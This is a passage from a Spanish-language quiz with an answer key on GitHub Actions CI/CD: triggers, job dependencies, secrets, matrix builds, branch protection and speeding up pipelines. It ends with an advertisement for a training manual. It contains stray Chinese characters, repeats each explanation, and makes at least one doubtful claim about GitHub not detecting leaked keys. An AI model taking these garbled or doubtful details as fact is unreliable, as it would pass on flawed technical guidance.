Por qué: El trigger on: pull_request con branches: [main] ejecuta el workflow solo cuando se abre o actualiza un PR que tiene main como destino. Sin el filtro, corre en TODOS los PRs (incluso a branches de feature), gastando minutos innecesarios. Es una de las optimizaciones más simples: filtra por branch específico y reduces el consumo de minutos 50-70%.Detalle: El trigger on: pull_request con branches: [main] ejecuta el workflow solo cuando se abre o actualiza un PR que tiene main como destino. Sin el filtro, corre en TODOS los PRs (incluso a branches de feature), gastando minutos innecesarios. Es una de las optimizaciones más simples: filtra por branch específico y reduces el consumo de minutos 50-70%. | a) No mergea PRs. | c) No borra branches. -
¿Qué hace 'needs: [lint, test]' en un job?
- a) Necesita lint y test en el código.
- b) Hace que este job SOLO se ejecute DESPUÉS de que 'lint' y 'test' hayan pasado exitosamente. Si alguno falla, este job se salta. ✓ correcta
- c) Es un comentario.
- d) Ejecuta lint y test otra vez.
Por qué: needs: [lint, test] en un job hace que ese job DEPENDA de los jobs 'lint' y 'test'. Se ejecuta solo si ambos pasan. Si 'test' falla, 'build' se salta automáticamente (ahorra tiempo y recursos). Por defecto, los jobs corren en paralelo; con needs, defines dependencias secuenciales. Es como una cadena: cada eslabón depende del anterior.Detalle: needs: [lint, test] en un job hace que ese job DEPENDA de los jobs 'lint' y 'test'. Se ejecuta solo si ambos pasan. Si 'test' falla, 'build' se salta automáticamente (ahorra tiempo y recursos). Por defecto, los jobs corren en paralelo; con needs, defines dependencias secuenciales. Es como una cadena: cada eslabón depende del anterior. | a) No es sobre el código, es sobre otros jobs. | c) No re-ejecuta, espera. -
¿Por qué NO debes hardcodear API keys en el código?
- a) Es más lento.
- b) Quedan en el historial de Git para siempre, son visibles para cualquiera con acceso al repo, y pueden usarse para cargos fraudulentos si son de servicios de pago. ✓ correcta
- c) Es difícil de leer.
- d) GitHub no lo permite.
Por qué: Una API key hardcodeada en el código queda en el historial de Git PARA SIEMPRE, aunque borres el archivo en commits futuros. Cualquiera con acceso al repo (incluyendo forks, ex-empleados, herramientas de scraping) puede verla. Si la key es de OpenAI, AWS, Stripe, o cualquier servicio de pago, pueden hacerte cargos fraudulentos de miles de dólares. La solución: SIEMPRE usar GitHub Secrets para CI/CD, y dotenv + .gitignore para desarrollo local. Si ya commiteaste una key, rótala INMEDIATAMENTE.Detalle: Una API key hardcodeada en el código queda en el historial de Git PARA SIEMPRE, aunque borres el archivo en commits futuros. Cualquiera con acceso al repo (incluyendo forks, ex-empleados, herramientas de scraping) puede verla. Si la key es de OpenAI, AWS, Stripe, o cualquier servicio de pago, pueden hacerte cargos fraudulentos de miles de dólares. La solución: SIEMPRE usar GitHub Secrets para CI/CD, y dotenv + .gitignore para desarrollo local. Si ya commiteaste una key, rótala INMEDIATAMENTE. | a) La velocidad no es el problema. | c) GitHub no detecta ni bloquea esto automáticamente. -
¿Qué es un 'GitHub Secret' y por qué es seguro?
- a) Una variable normal.
- b) Un valor encriptado que solo se expone a Actions específicas y se enmascara automáticamente en los logs. Se configura en Settings > Secrets. ✓ correcta
- c) Un password en texto plano.
- d) Un archivo .env.
Por qué: GitHub Secrets son valores encriptados que se almacenan de forma segura en Settings > Secrets and variables > Actions. Solo están disponibles para Actions específicas (no para forks ni Actions no autorizadas) y se enmascaran automáticamente en los logs (aparecen como ***). Se usan en workflows con: ${{ secrets.NOMBRE }}. La diferencia con variables de entorno normales: secrets NO aparecen en logs, NO se pueden leer desde otros workflows, y NO se exponen a PRs de forks.Detalle: GitHub Secrets son valores encriptados que se almacenan de forma segura en Settings > Secrets and variables > Actions. Solo están disponibles para Actions específicas (no para forks ni Actions no autorizadas) y se enmascaran automáticamente en los logs (aparecen como ***). Se usan en workflows con: ${{ secrets.NOMBRE }}. La diferencia con variables de entorno normales: secrets NO aparecen en logs, NO se pueden leer desde otros workflows, y NO se exponen a PRs de forks. | a) No es una variable normal, está encriptada. | c) No es un .env, es una feature de GitHub. -
¿Para qué sirve el matrix strategy?
- a) Para hacer un solo test.
- b) Para ejecutar el MISMO job en múltiples combinaciones (versiones de Node, OS) en paralelo. Útil para asegurar compatibilidad. ✓ correcta
- c) Para acelerar 1x.
- d) Para mergear PRs.
Por qué: El matrix strategy ejecuta el mismo job en múltiples combinaciones: por ejemplo, Node 18+20+22 en Ubuntu+Windows+macOS = 9 jobs en paralelo. Es útil para asegurar que tu código funciona en múltiples versiones y OS. Si una combinación falla (ej: Windows + Node 22), sabes exactamente dónde está el problema. Es la mejor forma de testear compatibilidad sin duplicar código de workflow.Detalle: El matrix strategy ejecuta el mismo job en múltiples combinaciones: por ejemplo, Node 18+20+22 en Ubuntu+Windows+macOS = 9 jobs en paralelo. Es útil para asegurar que tu código funciona en múltiples versiones y OS. Si una combinación falla (ej: Windows + Node 22), sabes exactamente dónde está el problema. Es la mejor forma de testear compatibilidad sin duplicar código de workflow. | a) No es para un solo test. | c) No es para PRs. -
¿Qué es la 'branch protection rule' y para qué sirve?
- a) Es un tipo de seguro.
- b) Es una regla que requiere que CI pase + N reviews antes de permitir merge a un branch. Configurada en Settings > Branches. ✓ correcta
- c) Es un branch de Git.
- d) Es una rama de prueba.
Por qué: Branch protection rules se configuran en Settings > Branches > Branch protection rules. Permiten definir: requerir status checks (CI) antes de mergear, requerir N code reviews,禁止 force-push,禁止 borrar el branch, etc. Es la disciplina automática que evita que devs hagan merge de código sin probar. Sin branch protection, tu workflow de CI corre pero nadie lo OBLIGA a pasarlo. Con branch protection, el botón de merge está GRIS hasta que CI pase.Detalle: Branch protection rules se configuran en Settings > Branches > Branch protection rules. Permiten definir: requerir status checks (CI) antes de mergear, requerir N code reviews,禁止 force-push,禁止 borrar el branch, etc. Es la disciplina automática que evita que devs hagan merge de código sin probar. Sin branch protection, tu workflow de CI corre pero nadie lo OBLIGA a pasarlo. Con branch protection, el botón de merge está GRIS hasta que CI pase. | a) No es un seguro, es una config de GitHub. | c) No es una rama de prueba. -
Si un job tarda 8 minutos en CI, ¿cuál es la mejor optimización?
- a) Borrar tests.
- b) Usar caché de dependencias (npm ci con cache: 'npm' en setup-node) y paralelizar jobs independientes. Reduce el tiempo 50-70%. ✓ correcta
- c) Comprar más minutos.
- d) Hacer el job en Windows.
Por qué: Las dos optimizaciones más impactantes: (1) caché de dependencias: setup-node@v4 con cache: 'npm' usa caché entre runs (ahorra 1-2 min por job). (2) Paralelizar jobs independientes: si tienes lint, test, y build que no dependen entre sí, déjalos en paralelo en vez de secuencial (ahorra 2-3 min). Otras optim: matrix strategy con fail-fast: false, usar --prefer-offline en npm, pre-built images. Borrar tests NUNCA es la respuesta.Detalle: Las dos optimizaciones más impactantes: (1) caché de dependencias: setup-node@v4 con cache: 'npm' usa caché entre runs (ahorra 1-2 min por job). (2) Paralelizar jobs independientes: si tienes lint, test, y build que no dependen entre sí, déjalos en paralelo en vez de secuencial (ahorra 2-3 min). Otras optim: matrix strategy con fail-fast: false, usar --prefer-offline en npm, pre-built images. Borrar tests NUNCA es la respuesta. | a) Borrar tests es anti-profesional. | c) Windows no acelera. -
¿Cuál es el flujo PROFESIONAL de un cambio en una app con CI/CD?
- a) Editar en producción.
- b) Dev crea branch → hace commits → push → abre PR → CI corre tests → review aprueba → branch protection verifica → merge a main → deploy automático → notificación a Slack. ✓ correcta
- c) Solo hacer push a main.
- d) Hacer todo en un solo día sin CI.
Por qué: El flujo profesional completo: (1) Dev crea branch feature/. (2) Commits pequeños con mensajes descriptivos. (3) Push al remote. (4) Abre PR a main. (5) CI se dispara automáticamente (lint + tests + build). (6) Reviewer revisa código y aprueba o pide cambios. (7) Branch protection verifica que CI pasa + review aprobado. (8) Merge con 'Squash and merge' (1 commit limpio). (9) Deploy automático a producción. (10) Notificación a Slack. (11) Monitoring verifica que no hay errores. Tiempo total: 5-10 min. Es el estándar de Netflix, Google, GitHub.Detalle: El flujo profesional completo: (1) Dev crea branch feature/. (2) Commits pequeños con mensajes descriptivos. (3) Push al remote. (4) Abre PR a main. (5) CI se dispara automáticamente (lint + tests + build). (6) Reviewer revisa código y aprueba o pide cambios. (7) Branch protection verifica que CI pasa + review aprobado. (8) Merge con 'Squash and merge' (1 commit limpio). (9) Deploy automático a producción. (10) Notificación a Slack. (11) Monitoring verifica que no hay errores. Tiempo total: 5-10 min. Es el estándar de Netflix, Google, GitHub. | a) Editar en producción es anti-patrón. | c) Sin CI es el pasado.
Preguntas abiertas (3)
-
Explica por qué la 'branch protection rule' es ESENCIAL incluso si ya tienes CI configurado. (3 a 5 líneas).
Respuesta modelo: La branch protection rule es esencial porque CI sin ella es SOLO informativo: corre los tests, pero si fallan, los devs pueden hacer merge igual ('luego lo arreglo'). La branch protection CONVIERTE el CI en disciplina automática: el botón de merge está GRIS hasta que los status checks pasen. Es la diferencia entre 'esperar que el equipo sea disciplinado' (no funciona) y 'tener disciplina automática' (funciona siempre). Configuración: Settings > Branches > Branch protection rules > Require status checks to pass before merging + Require 1+ pull request reviews. Sin esto, tu CI es solo un adorno caro.
-
Cometiste accidentalmente una API key de OpenAI en tu código. Explica qué hacer paso a paso. (3 a 5 líneas).
Respuesta modelo: Paso 1 (URGENTE): rotar la key inmediatamente en OpenAI dashboard (revoke old key + generate new). Aunque limpies el historial, la key ya está comprometida. Paso 2: limpiar el historial de Git con 'git filter-branch' o 'BFG Repo-Cleaner' para eliminar el archivo .env de TODOS los commits. Paso 3: force-push (con cuidado, notifica al equipo). Paso 4: usar la nueva key desde GitHub Secrets o .env local. Paso 5: prevention: añadir .env a .gitignore ANTES del primer commit, instalar gitleaks o similar como pre-commit hook. Si no rotas, te pueden hacer cargos fraudulentos en minutos. La limpieza del historial es secundaria: PRIORIDAD es revocar la key antigua.
-
Tu pipeline de CI corre 3 jobs (lint, test, build) en 8 minutos. Da 3 optimizaciones concretas para reducirlo a 3-4 minutos. (3 a 5 líneas).
Respuesta modelo: Optimización 1: caché de dependencias. Usar actions/setup-node@v4 con cache: 'npm' para que npm ci reuse el caché entre runs. Ahorra 1-2 min. Optimización 2: paralelizar jobs. Por defecto, lint, test y build corren en paralelo SI no tienen 'needs'. Si los tienes secuenciales por error, quítalo. Optimización 3: reducir el set de tests. No correr TODOS los tests en cada PR, solo los affected tests (vitest --changed). Para PRs a main, sí corre todos. Otras: usar ubuntu-latest (más rápido que windows/macos), node 20 con --prefer-offline, eliminar install de dependencias globales innecesarias. La suma: de 8 min a 3-4 min sin perder cobertura. Medir con un 'benchmark workflow' antes/después.
📚 Manual oficial
Manual de Capacitación Profesional: Desarrollador Web FullStack Junior
200 horas · 36 temas · 3 capítulos · De cero a primer empleo
$34.99 USD
$24.99 USD
Oferta lanzamiento
Manual completo de capacitación profesional en programación web. Cubre HTML, CSS, JavaScript, PHP, MySQL, Node.js, Express, PostgreSQL, MongoDB, React, Vite y más. Cada tema incluye teoría, ejemplos, errores típicos, laboratorio práctico, autoevaluación con respuestas modelo y líneas para el cuaderno físico. Pensado p…
Ver en Amazon →
ISBN: 979-8-88816-401-9